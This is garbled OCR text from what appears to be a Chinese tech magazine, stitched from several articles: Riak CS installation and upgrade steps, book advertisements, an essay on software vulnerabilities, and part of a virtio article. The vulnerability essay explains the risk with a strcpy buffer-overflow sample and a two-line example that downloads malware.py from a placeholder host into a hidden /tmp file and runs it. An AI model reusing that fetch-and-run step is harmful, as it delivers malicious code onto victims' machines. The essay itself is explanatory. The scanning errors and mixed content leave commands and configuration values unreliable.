这 是 因为 , Riak 对 CAP 定 理 中 的 A( 可 用 性 ) 
非常 重视 。 使 用 其 他 重视 C( 一 致 性 ) 的 数据 库 


(9) 只 有 用 户 的 生成 等 通过 Stanchion 实现 的 需要 较 强 一 致 性 
的 内 容 才 会 不 工作 。 
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使 用 Riak CS 在 自己 家 里 备份 


| — 站 A В Le 
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来 管理 元 数据 的 情况 下 ， 如 有 果 由 于 网 络 设备 故 
障 而 不 能 访问 元 数据 , 那么 系统 也 就 不 能 使 用 了 o 
而 在 Riak 上 则 不 会 出 现 这 种 情况 。 

但 是 ， 如 果 没 有 Stanchion 的话 , 一 部 分 
操作 (用 户 的 生成 、bucket 的 生成 、bucket 的 
删除 ) 将 不 能 执行 。 极端 地 说 ， 可 以 平时 停止 
Stanchion， 只 在 需要 生成 用 户 、bucket 的 时 候 
启动 一 下 。 


Т 软件 升级 


这 里 为 了 方便 大 家 理解 Riak CS 的 软件 升级 
是 如 何 地 简单 ， 介 绍 一 下 Debian GNU/Linux 和 
Ubuntu Linux 中 的 操作 步骤 。 

更 新 OS 等 的 情况 下 ,停止 Riak 和 Riak CS, 
并 随意 使 用 滚动 更 新 (Rolling Upgrate ) 就 行 了 。 
如 果 同 时 停止 的 只 有 一 两 台 ， 则 几乎 所 有 的 功 
能 都 可 以 继续 运行 。 


@ Riak 的 更 新 


$ sudo riak stop 


$ tar czf riak-backup.tgz /etc/riak 


$ sudo aptitude safe-upgrade 
$ sudo riak start 


@ Standchion 的 更 新 


$ sudo stanchion stop 

$ tar czf stanchion-backup.tgz /etc/ F4 
stanchion 

$ sudo aptitude safe-upgrade 

$ sudo stanchion start 


© Riak CS 的 更 新 


$ sudo riak-cs stop 
$ tar czf riak-cs-backup.tgz /etc/riak-cs 


$ sudo aptitude safe-upgrade 
$ sudo riak-cs start 


这 样 升级 就 完成 了 。Riak、Riak CS 保证 了 
前 后 版 本 的 升降 级 的 兼容 性 ， 可 以 随意 滚动 更 


新 。 运 维 得 好 的 话 ， 还 可 以 通过 不 断 更 新 硬件 
和 软件 、 增 加 服务 器 , 实现 半 永 久 化 地 运行 集群 。 
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这 里 也 以 Debian/GNU Linux 为 基础 进行 说 
HH. Mac OSX 以 及 其 他 Linux 发 行 版 中 的 方法 
请 各 位 读者 自行 蔡 换 为 自己 所 熟悉 的 内 容 ,， 或 
者 请 参照 Riak 的 安装 顺序 2， 

如 果 想 尽快 开始 ， 可 以 选择 Fast Track © 

首先 安装 所 有 的 包 。 因 为 有 一 个 Basho 发 
布 的 官方 库 ， 所 以 按 图 3 所 示 设 置 库 ， 并 安装 
Riak、Riak CS 、Stanchion 即 可 。 


ZÀ Riak 的 设置 


安装 完成 后 ， 首 先进 行 Riak 的 设置 。 这 里 
简单 介绍 一 下 Riak 的 标准 安装 和 搭建 集群 的 方 


http://docs.basho.com/riak/latest/tutorials/installation/ 


(D http://docs.basho.com/riakcs/latest/riakcs-tutorials/fast-track/ 


У (195581 Віак CS 运行 所 必需 的 Riak( riak kv Ez) Big Ea 


(add_paths, 


["/usr/lib/riak-cs/lib/riak_cs-1.3.1/ebin"]}, 


(storage backend, riak cs kv multi backend?, 
(multi backend prefix list, 
C{<<"0b:">>, be blocks)1), 
(multi backend default, be default), 
(multi backend, [ 
(be default, riak kv eleveldb backend, [ 
(max open files, 50), 
(data root, "/var/lLib/riak/Leveldb") 
1» 
(be blocks, riak kv bitcask backend, L 
(data root, "/var/Lib/riak/bitcask") 
1) 
1) 


w[E3 Riak CS 的 安装 步骤 


法 。 首 先 , 在 /etc/riak/app.config 进 行 一 些 设置 ， 
并 指定 监听 的 IP 地 址 就 行 了 。 接 看 ,在 Riak_ 
core 段 退 加 如 下 一 行 。 


(default bucket props, [L{allow 7? 
mult,true)1), 


除 此 之 外 , 在 riak_kv 的 段 里 ， 删 除 如 下 一 行 。 


(storage backend, riak kv_bitcask_ 7? 
backend), 


并 添加 代码 清单 1 中 的 内 容 。 

请 确认 add_paths 指 定 的 目录 中 存放 看 各 种 
beam X fF, CentOS 等 的 情况 下 ，Lib 可 能 会 是 
Lib64。 

这 个 设置 大 致 的 作用 是 ， 设 置 Riak CS 用 的 
后 端 (eleveldb 和 bitcask 可 分 开 使 用 )， 默 认 以 
eleveldb 作为 后 端 来 存储 以 元 数据 为 主 的 数据 ， 
对 象 块 则 使 用 bitcask 来 进行 存储 。 


$ curl http://apt.basho.com/gpg/basho.apt.key | sudo apt-key add - 


$ sudo bash -c "echo deb http://apt.basho.com $(Lsb release -sc) main \> /etc/apt/sources. 


list.d/basho.list" 
$ sudo apt-get update 
$ sudo apt-get install riak riak-cs stanchion 
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这 样 由 一 人 台 机 需 组 成 的 Riak 就 准备 得 差 不 
多 了 。 
局 动 Riak。 


$ sudo -u riak 


$ ulimit -n 4096 
$ riak start 


JIN Riak C5 的 没 置 和 初始 用 户 的 生成 


接 痢 进行 Riak CS 的 设置 。 本 地 启动 的 话 ， 
在 默认 的 /etc/riak-cs/app.cong 的 riak_cs 段 进 
行 如 下 修改 。 


(anonymous_user_creation, true), 


安装 完 后 默认 是 false, 为 了 生成 一 开始 
的 管理 员 ， 临 时 改 成 trrue。 接着 ,启动 进程 。 
Stanchion 的 情况 也 是 一 样 ， 在 本 地 安装 的 话 ， 
直接 按 默认 值 启动 就 可 以 了 。 


$ sudo stanchion start 


$ sudo riak-cs start 


管理 员 的 生成 使 用 如 下 的 curl 语 句 。 


$ curl -H 'Content-Type: application/json' \ 
-X POST http://lLocalhost:8080/riak-cs/ 
user V 


--data '("email":"foobargexample.com", \ 


"name":"foo bar"J' 
执行 完成 后 ， 会 显示 包含 所 生成 的 用 户 的 
key. id 和 key_secret 的 JSON 字 符 串 。 把 它 保 
存 好 ， 对 Riak CS 和 Stanchion 的 app.confg 也 进 
行 如 下 修改 。 


(admin_key, 
"ORMJZ57B2HOÓ6F-I60YJE"), 
(admin secret, 
"qL4iyzyG4-rluHBErnXAVJ-qLOOBDjL bN > 
Kig=="), 


я Ah, dE WT DJ anonymous, user. creation 
重新 设置 为 false。 为 了 恢复 设置 ， 这 里 重新 启 
动 Riak CS 。 


使 用 Riak CS 在 自己 家 里 备份 


| 第 了 加 
一 一 关于 安装 与 设置 “一 5 


stanchion stop 


riak-cs stop 
stanchion start 
rlak-cs start 


这 样 就 可 以 在 本 地 使 用 Riak CS 了 。 

这 个 操作 步骤 的 前 提 是 在 同一 服务 器 上 局 动 
[f Stanchion 和 Riak CS。 如 果 Stanchion 和 Riak CS 
不 在 同一 个 服务 需 上 ， 则 只 需 将 Stanchion 的 配 
置 文件 / etc/stanchion/app.configll] stanchion - 
ip 设置 为 服务 器 的 卫 地 址 ， 将 Riak CS АЈ арр. 
config 的 stanchion_ip 设 置 为 Stanchion 启 动 的 
服务 禹 的 人 PP 地址 就 可 以 了 。 


№ 客户 端的 设置 

有 了 前 面 的 步 又 中 所 生成 的 用 户 的 key_id 
和 key_secret， 大 部 分 的 Amazon S3 2 J Ym BUL 
都 可 以 正常 操作 Riak CS T o 


s3cmd 名 的 话 ， 只 需 设置 .s3cfg 的 access_ 


key. key secret, proxy host, proxy port WÈ 


17 í. TE proxy host, proxy port 4j 21] ix ® 27 
Localhost #1 8080, ЖЕЕ ПГ Е S3 — 6 
使 用 s3cmd T -0 

针对 Riak CS 的 配置 也 有 Chef recipe ®, п] 
以 参考 一 下 。 

DragonDisk 里 没有 设置 proxy, host 的 项 目 ， 
需要 在 家 里 的 网 路 上 进行 DNS 设置 ， 这 里 就 不 
再 介绍 了 。 官方 文档 里 有 域名 的 设置 方法 到 , 请 
参考 。 


本 文 简单 介绍 了 使 用 Riak CS 的 系统 的 设计 、 
运 维和 使 用 。 
虽然 本 文 没有 涉及 , 但 在 家 庭 用 的 1Gb 以 


(2) https://github.com/s3tools/s3cmd 

(3 符 希 望 通过 其 他 机 器 访问 启动 着 RialC S 的 服务 器 ， 则 需 
要 将 客户 端的 p oxhos ft 变更 为 服务 大 端的 卫 地 址 ， 并 
变更 /etc/riak-cs/app. config fJ cs ip。 

http://docs.basho.com/riakcs/latest/cookbooks/installing/ 
Riak-CS-Using-Chef/ 

05) http://docs.basho.com/riakcs/latest/cookbooks/configuration/ 
Configuring-Riak-CS/ZProxy-vs-Direct-Configuration 
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ЖИНИНЕ, РЕВЕ FE 258 29), Tie 但 是 , 作为 在 2013 年 3 月 以 OSS 的 形式 
使 用 自己 的 硬件 进行 测试 。 随 着 便 件 的 变化 ， 公开 的 作品 ，Riak CS 还 有 很 多 不 成 熟 的 地 方 。 
性 能 也 会 变化 。 布 望 各 位 能 加 入 社 群 ， 与 大 家 共享 各 种 技巧 和 


在 笔者 个 人 看 来 ， 作 为 分 布 式 文件 系统 ， 话题 。 
Riak CS 属于 相当 容易 维护 的 一 类 。 


GE [En lie 


-=… 七 周 七 并 发 模型 


с 

ин c eem 

ЖЕЛЕУ 

ў — i 并 发 编程 近年 逐渐 热 起 来 ，Go 等 并 发 语言 也 对 并 发 编程 提供 了 良好 的 支持 ， 使 得 并 发 

р == c 这 个 话题 受到 越 来 越 多 人 的 关注 。 本 书 延续 了 《 七 周 七 语言 ) 的 写作 风格 ， 通 过 以 下 七 个 精 
— 选 的 模型 帮助 读者 了 解 并 发 领域 的 轮廓 : 1+ ЕШ, AAt, Clojure, actor, 3l 


序 进程 ， 数 据 级 并 行 ，Lambda 架 构 。 书 中 每 一 章 都 设计 成 三 天 的 阅读 量 。 每 天 阅读 结束 都 
会 有 相关 练习 , 巩固 并 扩展 当天 的 知识 。 每 一 章 均 有 复习 , 用 于 概括 本 章 模 型 的 优点 和 缺陷 。 


[ 4 
? 
1 
* 
3 , [ 
E f + 


LL 本 书 适合 所 有 想 了 解 并 友 的 程序 员 。 


C# 并 发 编程 经 典 实 例 


本 书 全 面 讲解 C# 并 发 编程 技术 ， 侧 重 于 .NET 平 台 上 较 新 、 较 实用 的 方法 。 全 书 分 为 几 
大 部 分 : 首先 介绍 几 种 并 上 友 编 程 技术 ， 包 括 异步 编程 、 并 行 编程 、TPL 数据 流 、 响 应 式 编程 ; 
然后 前 述 一 些 重 要 的 知识 点 ， 包 括 测试 技巧 、 互 操作 、 取 消 并 发 、 函 数 式 编 程 与 OOP、 同 步 、 
调度 ; 最 后 介绍 了 几 个 实用 技巧 。 全 书 共 包含 75 个 有 配套 源码 的 实用 方法 , 可 用 于 服务 器 程序 、 
S [ETE БЕЛП nj] NL FB] A 0 


本 书 适合 具有 .NET 基 础 、 和 希望 学 习 最 新 并 上 友 编 程 技术 的 开 友 人 员 。 


Go 并 发 编程 实 吉 ъъ 
Go 


RET 本 书 全 面 介绍 了 Go 语言 的 特点 、 安 装 部 署 环境 、 工 程 规范 、 工 具 链 、 语 言语 法 、 并 发 
eos "EE 编程 模型 以 及 在 多 个 编程 实战 中 的 应 用 ， 重 点 阐述 了 Go 语言 并 发 编程 模型 和 机 制 。 本 书 共 

nor 分 为 四 个 部 分 ， 介 绍 了 Go 语言 编程 环境 搭建 、Go 语 言 基础 编程 、Go 语 言 并 发 编程 方法 及 
其 原理 ， 以 及 使 用 Go 语言 开发 的 应 用 系统 的 案例 讲解 。 


本 书 适 用 于 有 一 定 计算 机 编程 基础 的 从 业者 以 及 对 Go 语言 编程 感 兴趣 的 爱好 者 ， 非 常 
适合 作为 Go 语言 编程 进 阶 教程 。 
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由 于 现今 的 软件 太 过 复杂 ， 我 们 基本 无 法 确保 一 个 软件 不 仓 在 任何 缺陷 。 融 算 这 个 软件 非 
弟 完 下 ,但 是 如 果 设 定 万 法 或 者 实际 执行 环境 不 够 完备 的 话 ， 系 统 行为 也 有 可 能 出 现 错误 。 但 是 ， 
这 个 销 误 不 能 完全 归 各 于 软件 的 脆弱 性 。 这 其 中 的 区 别 在 哪里 呢 * 而 用 户 又 该 如 何 应 对 软件 的 
脆弱 性 呢 ? 这 融 是 此 次 我 所 要 思考 的 问题 。 


定义 。 比 如 在 ISO 27005. IETF 2828. NIST 
o [uid “Jaga PE” SP800-30 中 都 有 脆弱 性 的 定义 。 这 些 定义 的 内 
容 都 基本 相同 ， 但 是 有 些 细微 的 差异 ， 因 此 理 
20 世 纪 90 年 代 中 期 以 前 ,在 计算 机 领域 ERKA ER, AEAT T o 
大 家 很 少 能 听 到 “脆弱 性 ”这 个 由 三 个 汉字 组 而 且 ， 从 系统 方面 来 说 也 有 多 种 观点 。 
成 的 词语 ， 这 个 词语 是 从 何 而 来 的 呢 ? 那 是 在 


e 硬件 
给 计算 机 安全 领域 中 使 用 的 单词 vulnerability din: 
寻找 合适 的 翻译 时 , 借用 了 社会 学 中 的 “脆弱 性 ” 


一 词 ， 这 一 词语 才 开始 在 计算 机 领域 被 大 家 所 
熟知 的 由 。 

脆弱 性 一 词 有 着 广泛 的 意思 ， 概 括 来 说 的 
话 就 是 “计算 机 系统 中 存在 缺陷 ， 若 攻击 者 能 
够 蓄意 利用 此 缺陷 对 系统 发 起 主动 攻击 并 获得 要 从 这 里 开始 说 明 的 话 ， 光 是 解说 这 些 芍 
成 功 ,这 个 缺陷 就 称 为 脆弱 性 ”。 这 是 与 原意 怕 就 能 出 一 本 书 了 。 本 文 仅 集中 探讨 软件 的 脆 
最 为 接近 的 表述 ， 整 理 一 下 即 为 : 


弱 性 
存在 潜在 的 缺陷 
可 以 车 意 利用 这 此 缺陷 发 起 攻 直 o ТЕПЕ TE 


这 些 攻击 取得 成 功 
系统 安全 性 受到 威胁 


e 运用 (针对 技术 人 员 而 言 ) 
。 利用 (针对 一 般 使 用 者 而 言 ) 
° 设施 (建筑 物 /电力 供给 


DONO 


软件 的 脆弱 性 可 以 这 样 定 义 :“ 由 软件 缺 
陷 引发 的 现象 (Software Failure ) 包 的 一 部 分 ， 
以 上 是 笔者 对 脆弱 性 的 说 明 ， 其 实 及 弱 性 由 于 可 能 被 第 三 方 利 用 造成 安全 性 侵害 ， 因 此 
在 各 种 各 样 的 场合 中 有 大 各 种 各 样 的 说 明和 会 成 为 软件 的 脆弱 性 ”。 如 图 1 所 示 ， 软 件 缺 


(D 当时 在 安全 性 的 文档 中 ， 关 于 vulnerablity 一 词 出 现 了 多 个 不 同 的 译 法 。 针 对 这 个 问题 ， 数 名 安全 性 领域 的 研究 人 员 经 协商 后 
决定 今后 统一 使 用 “脆弱 性 ”一 词 。 之 后 相关 的 翻译 都 渐渐 统一 为 了 “脆弱 性 ”。 另 外 ， 由 于 vulnerablity 一 词 太 长 ， 安 全 性 相 
关 的 研究 人 员 也 会 在 文 草 或 口头 表达 中 使 用 “Vul” 这 个 简称 。 

(2) Software Failure 的 翻译 是 “软件 故障 ”， 但 故障 一 词 容易 引起 误解 ， 故 本 文中 使 用 “软件 缺陷 引发 的 现象 ”来 说 明 。 


121 


rz — 1 `* | rpm A =ч . | имичи m” x A M— —⁄— —D | Le 


1 


P2 


1 ЕЕЕ iid 


陷 引 发 的 现象 并 不 全 与 脆弱 性 有 关 : 

这 样 看 来 ， 通 过 进行 充足 的 测试 来 确保 软 
件 质量 ， 由 软件 缺陷 引发 的 现象 确实 会 减少 ， 
可 以 假定 其 中 占有 一 定 比例 的 软件 脆弱 性 也 会 


随 之 减少 。 

但 是 ， 如 果 攻 击 方 著 意 去 寻找 软件 的 脆弱 
性 的 话 ， 以 上 假定 就 不 再 成 立 。 也 就 是 说 ， 不 
能 明确 地 说 “只 要 对 软件 进行 了 充分 的 测试 ， 
就 能 ( 同 由 软件 缺陷 引发 的 现象 一 样 ) 彻 的 消除 
软件 的 脆弱 性 ”。 


o 脆弱 性 发 生 在 何 处 


软件 修正 的 必要 性 是 从 何 时 开始 被 注意 到 
的 呢 ? 1985 年 的 一 篇 古典 论文 可 以 给 我 们 
解答 。 

笔者 对 使 用 这 篇 论文 的 原因 稍 作 说 明 。 这 
篇 论文 是 NASA ЖП ЛО ЕН КАТЮ 
所 做 的 软件 的 记录 。 当 时 使 用 的 还 是 瀑布 开发 
模型 ， 工 程 各 个 阶段 分 工 明确 。 制 作 流程 图 ( 设 
计 阶 段 )， 再 用 编程 语言 将 流程 图 表现 出 来 ( 编 
ERE), 虽然 和 现在 的 软件 开发 状况 有 所 不 同 ， 
但 工程 的 阶段 性 很 明确 ， 容 易 进行 问题 的 划分 。 

从 论文 的 数据 来 看 ， 各 阶段 发 生 软 件 缺 陷 
的 工程 所 占 比 例如 表 1 所 示 。 

我 们 发 现在 编码 阶段 引入 的 软件 缺陷 意外 
的 少 ， 而 大 多 数 缺 陷 都 是 在 设计 阶段 引入 的 。 

有 过 C 语 言 编程 经 历 的 人 都 知道 ， 如 果 输 
入 超过 预定 义 字 符 串 大 小 的 数据 的 话 ， 程 序 就 
会 异常 终止 。 这 是 软件 脆弱 性 的 一 种 ， 即 缓存 
溢出 。 向 函数 或 变量 输入 字 节 长 度 过 大 的 数据 
占据 内 存 空间 ， 最 后 甚至 会 侵占 程序 自身 的 运 
行 空间 。 

那么 ， 这 个 问题 是 在 哪个 阶段 引发 的 呢 ? 
虽然 在 大 多 数 情况 下 容易 认为 是 编码 错误 引发 
的 ， 但 是 更 确切 地 说 应 该 是 设计 阶段 的 错误 ， 
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即 “ 没 能 使 用 字符 串 长 度 信 息 仔 细 对 输入 进行 
检查 ”。 

如 表 1 所 示 , 缺陷 在 设计 阶段 被 引入 得 最 多 , 
在 需求 阶段 、 原 型 阶段 和 其 他 剩余 阶段 也 有 被 
引入 。 这 就 表示 在 任何 一 个 阶段 软件 脆弱 性 都 
有 被 引入 的 可 能 。 也 就 是 说 ， 想 要 减少 软件 脆 
弱 性 ， 必 须要 提升 软件 开发 所 有 阶段 的 质量 才 
行 。 想 要 事先 发 现 软 件 的 脆弱 性 并 将 其 排除 是 
很 困难 的 。 


СВ аннат 


接 下 来 让 我 们 看 看 要 用 多 少时 间 才 能 发 现 
缺陷 。 从 IBM 通 用 机 操作 系统 的 数据 和 来 看 ， 
CPU 运行 5000 年 才 发 现 一 次 缺陷 。 

根据 不 同 的 研究 这 个 数字 会 有 多 种 变化 ， 
但 是 可 以 确定 的 是 ， 对 于 制作 极其 慎重 的 软件 
来 说 ， 发 现 缺 陷 的 概率 是 极 小 的 。 


有 图 1 不 是 所 有 的 软件 缺陷 都 会 成 为 脆弱 性 


Software Failure 
( 软件 缺陷 引发 的 现象 ) 


Software Vulnerability 
( 软件 的 脆弱 性 ) 


wZE1 错误 友 生 阶段 
VW S RE 
设计 阶段 57%~78% 
原型 阶段 3%— 14% 
编码 阶段 3%—8% 
需求 阶段 296—596 


@ D.M. Weiss et al., ^ Evaluating Software Development by Analysis of Changes: Some Data from the Software Engineering 
Laboratory ЕЕЕ Transactions on Software Engineering, Vol.11,No.2,Feb.1985,pp.157-168 
(4) IBM Research Journal, 28, pp2-14, 1984 这 是 80 年 代 的 老 论 文 , 是 IBM 的 通用 机 操作 系统 的 记录 。 因 为 可 信和 度 较 高 故 拿 来 参照 。 
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话 虽 如 此 ， 但 是 在 100 万 台 计 算 机 同时 运 
行 的 情况 下 ， 总 计 5000 年 的 运行 时 长 也 就 是 
一 转眼 的 事 。 即 使 发 现 缺陷 的 概率 再 小 ， 只 要 
有 足够 多 人 台 计 算 机 运行 ， 发 现 缺陷 也 还 是 一 转 
眼 的 事 。 由 此 可 引出 以 下 两 点 。 


DAMANE, HVAL 
脆弱 性 引发 的 不 良 状 况 

思 但 从 使 用 者 全 体 的 角度 来 看 ， 遇 到 此 
类 使 用 不 良 状 况 的 概率 就 不 低 了 


到 由 软件 


一 方面 自己 还 没有 完全 认识 软件 的 脆弱 性 ， 
而 平时 软件 脆弱 性 又 经 消 被 发 现 ， 这 样 看 来 自 
己 的 感觉 和 实际 情况 相 比 确实 是 有 所 差异 的 。 
仅 从 自己 的 使 用 范围 来 看 的 话 , 大 概 会 觉得 “ 软 
件 脆 弱 性 是 不 会 出 现 的 ” 吧 。 


墨盒 测试 


大 家 可 能 会 想 “ 对 软件 脆弱 性 的 探究 是 如 
何 做 到 的 "， 或 者 认为 “ 像 开源 代码 这 样 容易 
获取 的 资源 更 容易 发 现 软 件 脆弱 性 ， 所 以 使 用 
起 来 更 危险 ”。 

在 软件 工学 的 测试 技术 中 ， 有 很 多 完全 不 
用 考虑 源 代码 就 能 确认 软件 功能 是 否 完备 的 测 
试 手段 。 这 称 为 黑 盒 测试 , 包括 “集成 测试 ”"“ 功 
能 及 系统 测试 “验收 测试 “回归 测试 ”Beta 
测试 "。 这 些 测 试 都 在 不 考虑 具体 代码 的 情况 
下 进行 ， 将 问题 提取 出 来 。 这 在 软件 开发 过 程 
中 是 标准 测试 ， 并 不 是 什么 特殊 的 东西 。 在 此 
不 对 它们 的 测试 内 容 做 说 明 ， 读 者 们 只 要 知道 
有 这 样 的 测试 技术 ， 能 够 在 不 考虑 具体 代码 实 
现 的 情况 下 进行 测试 ， 通过 它们 可 以 发 现 软件 
脆弱 性 就 可 以 了 。 

之 所 以 做 出 这 样 的 说 明 ， 是 因为 媒体 经 常 
会 有 “天 才 黑 客人 侵 电脑 " 电 之 类 的 报道 ， 在 他 
们 的 报道 中 ， 侵 入 者 就 像 使 用 了 魔法 般 人 侵 系 
统 ， 进 而 引起 骚动 ， 但 事实 上 并 没有 这 回 事 。 

软件 脆弱 性 的 发 现 并 不 是 靠 天 才 般 的 灵感 
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ee Ts 


或 技术 ; „Фат 
的 方法 获得 的 。 但 是 ， 正 如 之 前 所 说 ,软件 脆 
弹性 的 发 现 是 与 测试 量 成 比例 的 ， 相 比 个 人 去 
发 现 ， 团 队 的 发 现 效率 更 高 。 

而 且 ， 之 前 举例 的 测试 方法 并 不 只 是 为 了 
发 现 软件 脆弱 性 ， 也 有 助 于 减少 软件 淤 在 的 缺 
EA, ЖЖ BED EET Ug BE TE HR dS 
A Bp дт 255] i CS HT [Н] ЖЭЙТ А0 
工作 。 

而 这 对 开源 资源 和 闭 源 资源 来 说 邦 是 一 样 的 。 

无 论 是 将 缺陷 内 在 隐藏 了 起 来 ， 无 论 相 比 
之 前 稳定 运行 了 多 少时 间 ， 忌 会 在 某 一 天 的 菏 
个 时 刻 ， 原 型 阶段 、 设 计 阶 段 等 初期 阶段 引入 
的 软件 脆弱 性 会 突然 出 现 ， 我 们 在 使 用 软件 的 
时 候 ， 必 须要 有 这 种 心理 准备 
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这 里 使 用 缓存 溢出 这 一 典型 案例 来 加 以 
说 明 。 

绥 存 溢出 是 指 通过 写 和 人 超出 缓存 的 大 量 数 
据 ， 改 写 返回 地 址 ， 使 得 任意 shellcode 都 可 能 
成 为 可 执行 代码 来 运行 的 一 种 软件 脆弱 性 。 通 
过 接手 发 生 绥 存 淤 出 的 程序 的 执行 权限 ， 
程序 得 以 执行 。 这 一 脆弱 性 引发 p Ws 

请 看 代码 清单 1 所 示 的 C 语 言 代码 。 这 
是 常见 的 字符 串 复制 的 样 例 代码。 也 数 copy_ 
a2b0 中 的 strcpy 将 变量 a 中 的 数值 复制 到 变量 
bF, 但 是 并 没有 考虑 变量 a 的 字符 长 度 。 变 
量 b 有 可 能 会 因为 被 赋予 过 长 的 字符 串 而 造成 
绥 存 溢出 ， 因 此 有 痢 淤 在 的 软件 脆弱 性 。 仅 仅 
是 这 样 ， 就 有 可 能 造成 脆弱 性 。 

那么 在 此 之 前 应 该 做 些 什么 呢 ? 例 如 使 用 
wget， 或 下 载 小 型 控件 ， 这 些 都 是 比较 经 典 的 
做 法 。 

图 2 是 将 一 段 用 Python 编写 的 恶意 程序 输 
入 并 运行 的 脚本 。 这 两 行 左右 的 代码 从 绥 存 溢 
出 时 开始 执行 ， 进 而 侵入 系统 。 奴 ' 


[НҢ malware. 


© 由 于 做 出 这 些 行 为 的 不 一 定 都 是 黑客 ， 因 此 就 用 破坏 者 或 侵入 者 来 称呼 。 
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不 会 与 外 部 通信 进 一 


步 给 系统 添加 下 载 任 
样 的 话 ， 被 攻击 方 基本 


意 恶 意 程序 的 功能 。 这 
上 就 束手无策 了 。 


给 安全 性 升级 吧 


和 希望 大 家 做 的 就 是 升级 安全 性 。 

电脑 的 使 用 需要 进行 频繁 的 更 新 ， 这 一 点 
大 家 已 经 注意 到 了 吧 。 如 前 所 述 ， 软 件 脆 弱 性 
是 不 可 避免 的 问题 。 引 入 时 都 是 在 开发 阶段 ， 
原因 也 大 多 非常 简单 。 

所 有 用 户 都 目 己 去 认真 调整 运行 环境 当然 
是 很 理想 的 ， 但 笔者 认为 就 算 这 么 做 了 ， 和 理 
想 环 境 还 是 相差 较 远 。 而 且 ， 用 户 是 很 难 搜集 
到 所 有 软件 脆弱 性 的 信息 并 加 以 应 对 的 。 


有 图 2 输入 恶意 程序 并 运行 的 脚本 
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果然 ,最 有 效 的 方法 还 是 安全 性 升级 ， 然 
后 就 是 要 多 多 拜托 管理 服务 名 的 诸位 了 。 无 法 
进行 安全 性 升级 的 老 旧 的 分 布 式 系统 ， 要 尽早 
nm 
虑 的 话 ， 这 才 是 总 成 本 最 低 的 方案 


有 代码 清单 1 人 存在 潜在 缓 仓 溢 出 脆弱 性 的 代码 


#include <string.h> 
void *copy_a2b(char *a) 
{ 
char bL121; 
strcpy(b,a); 
) 
void main() ( 
copy. a2b("abc"); 
5 


wget -q -0 /tmp/...i http://xxx.example.com/malware.py 
1 和 从 xxx.example.com 下 载 malware.py 程 序 ， 并 将 其 保存 在 /їтр/.1 
于 运行 /tmp/ .ji 


python /tmp/...i 
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“在 虚拟 机 上 亲自 体验 攻击 流程 


КЫДЫ 。 安 全 领域 广 受 关注 的 图 书 


“国内 顶级 黑客 翻译 
“本 书 的 主要 作者 是 在 信息 安 


挑战 赛 最 高 奖 
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。 日 本 Web 应 用 安全 第 一 人 权威 力作 
。OWASP 北 京 区 负责 人 、51CTO 信 | 


。 运 今 为 止 最 权威 的 Android 安全 宝 


Web 应 用 安全 权威 指南 


息 安 全 专家 “ 作 序 推荐 


。 从 原理 到 对 策 ， 网 罗 Web 安 全 的 方方面面 


八大 章节 全 面 剖 析 ， 深 入 浅 出 地 讲解 了 SQL 注入 、XSS、CSRF 等 Web 开发 人 员 必 知 的 Web 安 
全 知识 。 通 过 在 VMware Player 虚 拟 机 上 对 PHP 样 本 的 攻击 ， 详 细 介 绍 了 安全 隐患 产生 的 原理 及 
应 对 方法 ， 助 你 打造 安全 无 虞 的 Web 应 用 。 


Android 安全 攻防 权威 指南 


全 领域 浸 淫 多 年 的 一 流 专家 ， 三 位 译 者 也 都 在 技术 一 线 耕 耘 多 
年 并 各 有 卓越 成 就 。 这 种 全 明星 阵容 让 我 对 本 书 充满 期 待 。 
— Fi ( tombkeeper )， 腾 讯 玄武 安全 实验 室 总 监 ， 全 球 最 知名 的 白 帽 子 黑客 之 一 ， 


曾 夺 得 微软 安全 
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VA 基于 virtio 的 半 虚 拟 化 设备 之 二 
H Virtqueue 5 virtio-net 


开 ) 

virtio 半 虚拟 化 设备 大 幅 改 善 了 客户 机 OS 
的 VO 性 能 ， 上 回 我 们 介绍 了 virtio 的 概要 和 
virtio 的 构件 之 一 Virtio PCI。 这 回 再 来 介绍 一 
下 Virtqueue 和 利用 Virtqueue 实现 NIC ( virtio- 
net ) #7715. 


virtio 概要 


virtio 大 致 由 Virtio PCI #ll Virtqueue 两 个 构 
件 构 成 。Virtio PCI 对 客户 机 来 说 相当 于 PCI 设 
备 ， 提 供 下 列 功 能 。 


。 用 于 设备 初始 化 时 往 主 机 后 客 尸 机 之 间 
协商 和 通知 设置 信息 的 配置 寄存 器 


可 用 于 通知 队列 长 度 、 队 列 数 和 对 列 地 址 等 。 


。 中 断 ( 往 主机 一 客户 机 ) ПО 端口 访问 ( 客 
户 机 一 得主 机 ) 等 引起 的 往 主 机 仿 客 户 
机 之 间 的 事件 通知 机 制 

。 使 用 标准 的 PCI 设 备 DMA 进 行 数据 传输 
的 功能 


Virtqueue 是 用 于 数据 传输 的 客户 机 内 存 空 
间 上 的 队列 结构 。 每 个 设备 可 以 具有 一 个 或 者 
多 个 队列 。 例 如 ，virtio-net 具 有 发 送 用 的 队列 、 
接收 用 的 队列 、 控 制 用 的 队列 这 三 个 队列 。 客 


FA 


文 / 浅 田 拓也 (ASADA Takuya ) @syuu1228 т / ЕВ 


户 机 OS 检测 到 作为 PCI 设 备 的 virtio 设 备 并 对 
其 进行 初始 化 ， 通 过 Virtqueue 完成 数据 的 输入 
输出 , 通过 中 断 和 LO 端口 访问 进行 事件 的 通知 ， 
ЖП Ж ЕЛЕК VO 操作。 本 文 将 详细 介绍 


Virtqueue。 


Virtqueue 


Virtqueue H1 # Ж 4j X ( Descriptor Table ). 
Available Ring, Used Ring 这 三 部 分 构成 (图 
1 )， 描 述 符 表 中 排列 着 发 送 接收 数据 用 的 描述 
^j. Available Ring 指 定 了 从 客户 机 癌 箱 主机 传 
递 的 描述 从，Used Ringt T MT ENLA 
户 机 传递 的 描述 符 。 

描述 符 表 、Available Ring, Used Ring 的 项 
的 数量 由 Virtio PCI 设 备 初始 化 时 Virtioheader 
的 QUEUE_NUM 的 设 定 值 决 定 。 

Virtqueue 的 空间 必须 与 内 存 页 大 小 中 对 齐 。 
一 个 Virtqueue 只 能 用 于 单 回 通 信 。 因 此 ， 要 文 


持 双 回 通 信和 则 需要 使 用 两 个 Virtqueue。 通 信 方 
HA E], Available Ring #1 Used Ring 的 使 用 方 
法 也 不 同 。 


`. 
"^ 
| \ 
/ Fi 
= 
— n 


描述 符 表 是 排列 有 QUEUE NUM ^ f Ë 


к, 


(D 页 大 小 =4KB 
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符 包 的 队列 。 描 述 符 并 不 是 在 进行 数据 传输 时 
被 动态 地 分 配 ， 而 是 在 描述 符 表 内 寻找 空闲 
项 使 用 。Virtqueue 上 没有 管理 空闲 项 的 结构 ， 
因此 客户 机 驱动 器 需要 自行 记录 空闲 描述 符 
(后 述 )。 

